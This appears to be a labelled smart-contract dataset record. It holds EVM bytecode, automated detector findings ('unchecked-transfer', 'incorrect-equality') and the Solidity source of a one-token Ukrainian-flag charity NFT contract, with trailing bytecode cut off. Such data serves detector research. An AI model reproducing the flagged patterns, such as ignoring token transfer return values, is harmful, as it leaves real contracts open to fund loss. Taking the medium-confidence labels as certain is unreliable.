ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156107e657600080fd5b505afa1580156107fa573d6000803e3d6000fd5b505050506040513d602081101561081057600080fd5b8101908080519060200190929190505050600b54111561082f57600080fd5b610846600b54600054610e9490919063ffffffff16565b60008190555061086134600354610e9490919063ffffffff16565b6003819055506108bb600b54600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109516001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600b546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a3f57600080fd5b505af1158015610a53573d6000803e3d6000fd5b505050506040513d6020811015610a6957600080fd5b810190808051906020019092919050505050600560009054906101000a900460ff16158015610aa3575068056bc75e2d6310000060035410155b15610ac4576001600560006101000a81548160ff0219169083151502179055505b005b600080fd5b348015610ad757600080fd5b50610ae0610eb3565b6040518082815260200191505060405180910390f35b348015610b0257600080fd5b50610b4560048036036020811015610b1957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb9565b6040518082815260200191505060405180910390f35b348015610b6757600080fd5b50610baa60048036036020811015610b7e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f02565b6040518082815260200191505060405180910390f35b348015610bcc57600080fd5b50610bd5610f4b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c2357600080fd5b50610c2c610f71565b6040518082815260200191505060405180910390f35b348015610c4e57600080fd5b50610c57610f77565b005b348015610c6557600080fd5b50610c6e610fee565b005b348015610c7c57600080fd5b50610c8561105f565b005b348015610c9357600080fd5b50610cd660048036036020811015610caa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611381565b005b348015610ce457600080fd5b50610ced611598565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610d376115be565b005b348015610d4557600080fd5b50610d4e611f88565b604051808215151515815260200191505060405180910390f35b348015610d7457600080fd5b50610db760048036036020811015610d8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f9b565b6040518082815260200191505060405180910390f35b348015610dd957600080fd5b50610de2611fe4565b6040518082815260200191505060405180910390f35b348015610e0457600080fd5b50610e0d611fea565b005b348015610e1b57600080fd5b50610e246121c7565b6040518082815260200191505060405180910390f35b600082821115610e4957600080fd5b600082840390508091505092915050565b600080831415610e6d5760009050610e8e565b6000828402905082848281610e7e57fe5b0414610e8957600080fd5b809150505b92915050565b600080828401905083811015610ea957600080fd5b8091505092915050565b60045481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd157600080fd5b6001600560016101000a81548160ff021916908315150217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561104d57506000600454145b61105657600080fd5b42600481905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561119557506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561115857600080fd5b505afa15801561116c573d6000803e3d6000fd5b505050506040513d602081101561118257600080fd5b8101908080519060200190929190505050115b80156111b7575062093a806111b560045442610e3a90919063ffffffff16565b115b6111c057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561129f57600080fd5b505afa1580156112b3573d6000803e3d6000fd5b505050506040513d60208110156112c957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b505050506040513d602081101561136d57600080fd5b810190808051906020019092919050505050565b62093a8061139a60045442610e3a90919063ffffffff16565b1180156113b45750600560009054906101000a900460ff16155b6113bd57600080fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161140957600080fd5b60006114af600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a1600a600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a890919063ffffffff16565b6122a890919063ffffffff16565b90506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166108fc61156784846122a890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611592573d6000803e3d6000fd5b50505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006004541180156115e7575062093a806115e460045442610e3a90919063ffffffff16565b11155b6115f057600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561169157600080fd5b505afa1580156116a5573d6000803e3d6000fd5b505050506040513d60208110156116bb57600080fd5b8101908080519060200190929190505050116116d657600080fd5b67016345785d8a000034101580156116f657506729a2241af62c00003411155b6116ff57600080fd5b600560019054906101000a900460ff161561171957600080fd5b6201518061173260045442610e3a90919063ffffffff16565b116118005761174b601434610e5a90919063ffffffff16565b600b819055506117b861176a600a600c54610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c09565b6201518061181960045442610e3a90919063ffffffff16565b11801561183d57506202a30061183a60045442610e3a90919063ffffffff16565b11155b1561190b57611856601034610e5a90919063ffffffff16565b600b819055506118c3611875600a600d54610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c08565b6202a30061192460045442610e3a90919063ffffffff16565b11801561194857506203f48061194560045442610e3a90919063ffffffff16565b11155b15611a1657611961600d34610e5a90919063ffffffff16565b600b819055506119ce611980600a600e54610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c07565b6203f480611a2f60045442610e3a90919063ffffffff16565b118015611a53575062054600611a5060045442610e3a90919063ffffffff16565b11155b15611b2157611a6c600a34610e5a90919063ffffffff16565b600b81905550611ad9611a8b600a600f54610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c06565b62054600611b3a60045442610e3a90919063ffffffff16565b1115611c0557611b54600834610e5a90919063ffffffff16565b600b81905550611bc1611b73600a601054610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611ca857600080fd5b505afa158015611cbc573d6000803e3d6000fd5b505050506040513d6020811015611cd257600080fd5b8101908080519060200190929190505050600b541115611cf157600080fd5b611d08600b54600054610e9490919063ffffffff16565b600081905550611d2334600354610e9490919063ffffffff16565b600381905550611d7d600b54600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e136001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600b546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f0157600080fd5b505af1158015611f15573d6000803e3d6000fd5b505050506040513d6020811015611f2b57600080fd5b810190808051906020019092919050505050600560009054906101000a900460ff16158015611f65575068056bc75e2d6310000060035410155b15611f86576001600560006101000a81548160ff0219169083151502179055505b565b600560009054906101000a900460ff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60035481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156120475750600047115b61205057600080fd5b60011515600560009054906101000a900460ff161515148015612086575060011515600560019054906101000a900460ff161515145b61208f57600080fd5b60008060065414156120c957680821ab0d4414980000600354116120b75760035490506120c4565b680821ab0d441498000090505b61211d565b600042905062093a806120e760075483610e3a90919063ffffffff16565b10156120f257600080fd5b680821ab0d44149800006003541161210e57600354915061211b565b680821ab0d441498000091505b505b4260078190555061213a6001600654610e9490919063ffffffff16565b60068190555061215581600354610e3a90919063ffffffff16565b600381905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121c3573d6000803e3d6000fd5b5050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561226857600080fd5b505afa15801561227c573d6000803e3d6000fd5b505050506040513d602081101561229257600080fd5b8101908080519060200190929190505050905090565b60008082116122b657600080fd5b60008284816122c157fe5b049050809150509291505056fea264697066735822122061a5ac2673a860b1775fff43d77368909bad76cf19347961801b257254bf0f9164736f6c63430006080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,147 |
0x715132af755d9d3d81ee0acf11e60692719bc415
|
/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
// SPDX-License-Identifier: OSL-3.0
pragma solidity 0.8.11;
/*
__ __ __ __ ______ ______ __ __ __ ______
/\ \/\ \ /\ \/ / /\ == \ /\ __ \ /\ \ /\ "-.\ \ /\ ___\
\ \ \_\ \ \ \ _"-. \ \ __< \ \ __ \ \ \ \ \ \ \-. \ \ \ __\
\ \_____\ \ \_\ \_\ \ \_\ \_\ \ \_\ \_\ \ \_\ \ \_\\"\_\ \ \_____\
\/_____/ \/_/\/_/ \/_/ /_/ \/_/\/_/ \/_/ \/_/ \/_/ \/_____/
|########################################################################|
|########################################################################|
|########################################################################|
|########################################################################|
|########################################################################|
|::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
Pussy Riot, Trippy Labs, PleasrDAO, CXIP
*/
contract UkraineDAO_NFT {
address private _owner;
string private _name = "UKRAINE";
string private _symbol = unicode"🇺🇦";
string private _domain = "UkraineDAO.love";
address private _tokenOwner;
address private _tokenApproval;
string private _flag = "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"1200\" height=\"800\">"
"<rect width=\"1200\" height=\"800\" fill=\"#005BBB\"/>"
"<rect width=\"1200\" height=\"400\" y=\"400\" fill=\"#FFD500\"/>"
"</svg>";
string private _flagSafe = "<svg xmlns=\\\"http://www.w3.org/2000/svg\\\" width=\\\"1200\\\" height=\\\"800\\\">"
"<rect width=\\\"1200\\\" height=\\\"800\\\" fill=\\\"#005BBB\\\"/>"
"<rect width=\\\"1200\\\" height=\\\"400\\\" y=\\\"400\\\" fill=\\\"#FFD500\\\"/>"
"</svg>";
mapping(address => mapping(address => bool)) private _operatorApprovals;
event Approval (address indexed wallet, address indexed operator, uint256 indexed tokenId);
event ApprovalForAll (address indexed wallet, address indexed operator, bool approved);
event Transfer (address indexed from, address indexed to, uint256 indexed tokenId);
event OwnershipTransferred (address indexed previousOwner, address indexed newOwner);
/*
* @dev Only one NFT is ever created.
*/
constructor(address contractOwner) {
_owner = contractOwner;
emit OwnershipTransferred(address(0), _owner);
_mint(_owner, 1);
}
/*
* @dev Left empty to not block any smart contract transfers from running out of gas.
*/
receive() external payable {}
/*
* @dev Left empty to not allow any other functions to be called.
*/
fallback() external {}
/*
* @dev Allows to limit certain function calls to only the contract owner.
*/
modifier onlyOwner() {
require(isOwner(), "you are not the owner");
_;
}
/*
* @dev Can transfer smart contract ownership to another wallet/smart contract.
*/
function changeOwner (address newOwner) public onlyOwner {
require(newOwner != address(0), "empty address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/*
* @dev Provisional functionality to allow the removal of any spammy NFTs.
*/
function withdrawERC1155 (address token, uint256 tokenId, uint256 amount) public onlyOwner {
ERCTransferable(token).safeTransferFrom(address(this), _owner, tokenId, amount, "");
}
/*
* @dev Provisional functionality to allow the withdrawal of accidentally received ERC20 tokens.
*/
function withdrawERC20 (address token, uint256 amount) public onlyOwner {
ERCTransferable(token).transfer(_owner, amount);
}
/*
* @dev Provisional functionality to allow the removal of any spammy NFTs.
*/
function withdrawERC721 (address token, uint256 tokenId) public onlyOwner {
ERCTransferable(token).safeTransferFrom(address(this), _owner, tokenId);
}
/*
* @dev Provisional functionality to allow the withdrawal of accidentally received ETH.
*/
function withdrawETH () public onlyOwner {
payable(address(msg.sender)).transfer(address(this).balance);
}
/*
* @dev Approve a third-party wallet/contract to manage the token on behalf of a token owner.
*/
function approve (address operator, uint256 tokenId) public {
require(operator != _tokenOwner, "one cannot approve one self");
require(_isApproved(msg.sender, tokenId), "the sender is not approved");
_tokenApproval = operator;
emit Approval(_tokenOwner, operator, tokenId);
}
/*
* @dev Safely transfer a token to another wallet/contract.
*/
function safeTransferFrom (address from, address to, uint256 tokenId) public payable {
safeTransferFrom(from, to, tokenId, "");
}
/*
* @dev Safely transfer a token to another wallet/contract.
*/
function safeTransferFrom (address from, address to, uint256 tokenId, bytes memory data) public payable {
require(_isApproved(msg.sender, tokenId), "sender is not approved");
_transferFrom(from, to, tokenId);
if (isContract(to) && ERCTransferable(to).supportsInterface(0x150b7a02)) {
require(ERCTransferable(to).onERC721Received(address(this), from, tokenId, data) == 0x150b7a02, "onERC721Received has failed");
}
}
/*
* @dev Approve a third-party wallet/contract to manage all tokens on behalf of a token owner.
*/
function setApprovalForAll (address operator, bool approved) public {
require(operator != msg.sender, "one cannot approve one self");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/*
* @dev Transfer a token to anther wallet/contract.
*/
function transfer (address to, uint256 tokenId) public payable {
transferFrom(msg.sender, to, tokenId, "");
}
/*
* @dev Transfer a token to another wallet/contract.
*/
function transferFrom (address from, address to, uint256 tokenId) public payable {
transferFrom(from, to, tokenId, "");
}
/*
* @dev Transfer a token to another wallet/contract.
*/
function transferFrom (address from, address to, uint256 tokenId, bytes memory) public payable {
require(_isApproved(msg.sender, tokenId), "the sender is not approved");
_transferFrom(from, to, tokenId);
}
/*
* @dev Gets the token balance of a wallet/contract.
*/
function balanceOf (address wallet) public view returns (uint256) {
require(wallet != address(0), "empty address");
return wallet == _tokenOwner ? 1 : 0;
}
/*
* @dev Gets the base64 encoded JSON data stream of contract descriptors.
*/
function contractURI () public view returns (string memory) {
return string(
abi.encodePacked(
"data:application/json;base64,",
Base64.encode(
abi.encodePacked(
"{",
"\"name\":\"", _name, "\",",
unicode"\"description\":\"This is the Ukranian flag 🇺🇦 1/1\",",
"\"external_link\":\"https://", _domain, "/\",",
"\"image\":\"data:image/svg+xml;base64,", Base64.encode(_flag), "\"",
"}"
)
)
)
);
}
/*
* @dev Check if a token exists.
*/
function exists (uint256 tokenId) public pure returns (bool) {
return (tokenId == 1);
}
/*
* @dev Check if an approved wallet/address was added for a particular token.
*/
function getApproved (uint256) public view returns (address) {
return _tokenApproval;
}
/*
* @dev Check if an operator was approved for a particular wallet/contract.
*/
function isApprovedForAll (address wallet, address operator) public view returns (bool) {
return _operatorApprovals[wallet][operator];
}
/*
* @dev Check if current wallet/caller is the owner of the smart contract.
*/
function isOwner () public view returns (bool) {
return (msg.sender == _owner);
}
/*
* @dev Get the name of the collection.
*/
function name () public view returns (string memory) {
return _name;
}
/*
* @dev Get the owner of the smart contract.
*/
function owner () public view returns (address) {
return _owner;
}
/*
* @dev Get the owner of a particular token.
*/
function ownerOf (uint256 tokenId) public view returns (address) {
require(tokenId == 1, "token does not exist");
return _tokenOwner;
}
/*
* @dev Check if the smart contract supports a particular interface.
*/
function supportsInterface (bytes4 interfaceId) public pure returns (bool) {
if (
interfaceId == 0x01ffc9a7 || // ERC165
interfaceId == 0x80ac58cd || // ERC721
interfaceId == 0x780e9d63 || // ERC721Enumerable
interfaceId == 0x5b5e139f || // ERC721Metadata
interfaceId == 0x150b7a02 || // ERC721TokenReceiver
interfaceId == 0xe8a3d485 // contractURI()
) {
return true;
} else {
return false;
}
}
/*
* @dev Get the collection's symbol.
*/
function symbol () public view returns (string memory) {
return _symbol;
}
/*
* @dev Get token by index.
*/
function tokenByIndex (uint256 index) public pure returns (uint256) {
require(index == 0, "index out of bounds");
return 1;
}
/*
* @dev Get wallet/contract token by index.
*/
function tokenOfOwnerByIndex (address wallet, uint256 index) public view returns (uint256) {
require(wallet == _tokenOwner && index == 0, "index out of bounds");
return 1;
}
/*
* @dev Gets the base64 encoded data stream of token.
*/
function tokenURI (uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId), "token does not exist");
return string(
abi.encodePacked(
"data:application/json;base64,",
Base64.encode(
abi.encodePacked(
"{",
"\"name\":\"Ukrainian Flag\",",
unicode"\"description\":\"This is the Ukrainian flag 🇺🇦 1/1. Funds raised from this sale will be directed to helping the Ukrainian civilians suffering from the war initiated by Putin. \\\"Come Back Alive,\\\" one of the most effective and transparent Ukrainian charitable and volunteer initiatives can be found at: https://savelife.in.ua\\n\\n",
"This project has been organized by Pussy Riot, Trippy Labs, PleasrDAO, CXIP, and many Ukrainian humanitarian activists working tirelessly on the ground and generously consulting with us to assure we have a safe place to direct our donations that will help those who need it the most.\\n\\n",
unicode"Much support and love to Ukraine 🇺🇦\",",
"\"external_url\":\"https://", _domain, "/\",",
"\"image\":\"data:image/svg+xml;base64,", Base64.encode(_flag), "\",",
"\"image_data\":\"", _flagSafe, "\"",
"}"
)
)
)
);
}
/*
* @dev Get list of all tokens of an owner.
*/
function tokensOfOwner (address wallet) public view returns (uint256[] memory tokens) {
if (wallet == _tokenOwner) {
tokens = new uint256[](1);
tokens[0] = 1;
}
return tokens;
}
/*
* @dev Get the total supply of tokens in the collection.
*/
function totalSupply () public pure returns (uint256) {
return 1;
}
/*
* @dev Signal to sending contract that a token was received.
*/
function onERC721Received (address operator, address, uint256 tokenId, bytes calldata) public returns (bytes4) {
ERCTransferable(operator).safeTransferFrom(address(this), _owner, tokenId);
return 0x150b7a02;
}
function _clearApproval () internal {
delete _tokenApproval;
}
function _mint (address to, uint256 tokenId) internal {
require(to != address(0));
_tokenOwner = to;
emit Transfer(address(0), to, tokenId);
}
function _transferFrom (address from, address to, uint256 tokenId) internal {
require(_tokenOwner == from, "you are not token owner");
require(to != address(0), "you cannot burn this");
_clearApproval();
_tokenOwner = to;
emit Transfer(from, to, tokenId);
}
function _exists (uint256 tokenId) internal pure returns (bool) {
return (tokenId == 1);
}
function _isApproved (address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId));
return (spender == _tokenOwner || getApproved(tokenId) == spender || isApprovedForAll(_tokenOwner, spender));
}
function isContract (address account) internal view returns (bool) {
bytes32 codehash;
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470);
}
}
interface ERCTransferable {
// ERC155
function safeTransferFrom (address from, address to, uint256 tokenid, uint256 amount, bytes calldata data) external;
// ERC20
function transfer (address recipient, uint256 amount) external returns (bool);
// ERC721
function safeTransferFrom (address from, address to, uint256 tokenId) external payable;
// ERC721
function onERC721Received (address operator, address from, uint256 tokenId, bytes calldata data) external view returns (bytes4);
// ERC721
function supportsInterface (bytes4 interfaceId) external view returns (bool);
}
library Base64 {
function encode (string memory _str) internal pure returns (string memory) {
bytes memory data = bytes(_str);
return encode(data);
}
function encode (bytes memory data) internal pure returns (string memory) {
string memory table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
uint256 encodedLen = 4 * ((data.length + 2) / 3);
string memory result = new string(encodedLen + 32);
assembly {
mstore(result, encodedLen)
let tablePtr := add(table, 1)
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
let resultPtr := add(result, 32)
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
let input := mload(dataPtr)
mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
resultPtr := add(resultPtr, 1)
mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
resultPtr := add(resultPtr, 1)
mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))
resultPtr := add(resultPtr, 1)
mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
resultPtr := add(resultPtr, 1)
}
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
}
|
0x6080604052600436106101c65760003560e01c80638462151c116100f7578063a9059cbb11610095578063e086e5ec11610064578063e086e5ec1461055b578063e8a3d48514610570578063e985e9c514610585578063f3e414f8146105db576101cd565b8063a9059cbb14610502578063ab67aa5814610515578063b88d4fde14610528578063c87b56dd1461053b576101cd565b806395d89b41116100d157806395d89b411461048d578063a1db9782146104a2578063a22cb465146104c2578063a6f9dae1146104e2576101cd565b80638462151c146104085780638da5cb5b146104355780638f32d59b14610460576101cd565b80632f745c59116101645780634f558e791161013e5780634f558e79146103875780634f6ccce7146103a85780636352211e146103c857806370a08231146103e8576101cd565b80632f745c591461033457806339ead7201461035457806342842e0e14610374576101cd565b8063095ea7b3116101a0578063095ea7b314610290578063150b7a02146102b257806318160ddd1461030357806323b872dd14610321576101cd565b806301ffc9a7146101dc57806306fdde0314610211578063081812fc14610233576101cd565b366101cd57005b3480156101d957600080fd5b50005b3480156101e857600080fd5b506101fc6101f7366004611d8d565b6105fb565b60405190151581526020015b60405180910390f35b34801561021d57600080fd5b506102266107d8565b6040516102089190611e20565b34801561023f57600080fd5b5061026b61024e366004611e33565b5060055473ffffffffffffffffffffffffffffffffffffffff1690565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610208565b34801561029c57600080fd5b506102b06102ab366004611e70565b61086a565b005b3480156102be57600080fd5b506102d26102cd366004611e9a565b6109df565b6040517fffffffff000000000000000000000000000000000000000000000000000000009091168152602001610208565b34801561030f57600080fd5b5060015b604051908152602001610208565b6102b061032f366004611f35565b610a9d565b34801561034057600080fd5b5061031361034f366004611e70565b610abd565b34801561036057600080fd5b506102b061036f366004611f71565b610b57565b6102b0610382366004611f35565b610c85565b34801561039357600080fd5b506101fc6103a2366004611e33565b60011490565b3480156103b457600080fd5b506103136103c3366004611e33565b610ca0565b3480156103d457600080fd5b5061026b6103e3366004611e33565b610d12565b3480156103f457600080fd5b50610313610403366004611fa4565b610d9c565b34801561041457600080fd5b50610428610423366004611fa4565b610e50565b6040516102089190611fbf565b34801561044157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff1661026b565b34801561046c57600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff1633146101fc565b34801561049957600080fd5b50610226610ebc565b3480156104ae57600080fd5b506102b06104bd366004611e70565b610ecb565b3480156104ce57600080fd5b506102b06104dd366004612011565b610fe9565b3480156104ee57600080fd5b506102b06104fd366004611fa4565b611100565b6102b0610510366004611e70565b61128b565b6102b0610523366004612077565b6112aa565b6102b0610536366004612077565b61132b565b34801561054757600080fd5b50610226610556366004611e33565b611590565b34801561056757600080fd5b506102b06116e2565b34801561057c57600080fd5b50610226611792565b34801561059157600080fd5b506101fc6105a0366004612171565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260086020908152604080832093909416825291909152205460ff1690565b3480156105e757600080fd5b506102b06105f6366004611e70565b6117e1565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316148061068e57507f80ac58cd000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b806106da57507f780e9d63000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b8061072657507f5b5e139f000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b8061077257507f150b7a02000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b806107be57507fe8a3d485000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b156107cb57506001919050565b506000919050565b919050565b6060600180546107e7906121a4565b80601f0160208091040260200160405190810160405280929190818152602001828054610813906121a4565b80156108605780601f1061083557610100808354040283529160200191610860565b820191906000526020600020905b81548152906001019060200180831161084357829003601f168201915b5050505050905090565b60045473ffffffffffffffffffffffffffffffffffffffff838116911614156108f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f6f6e652063616e6e6f7420617070726f7665206f6e652073656c66000000000060448201526064015b60405180910390fd5b6108fe33826118f8565b610964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f7468652073656e646572206973206e6f7420617070726f76656400000000000060448201526064016108eb565b600580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff848116918217909255600454604051849391909116907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590600090a45050565b600080546040517f42842e0e00000000000000000000000000000000000000000000000000000000815230600482015273f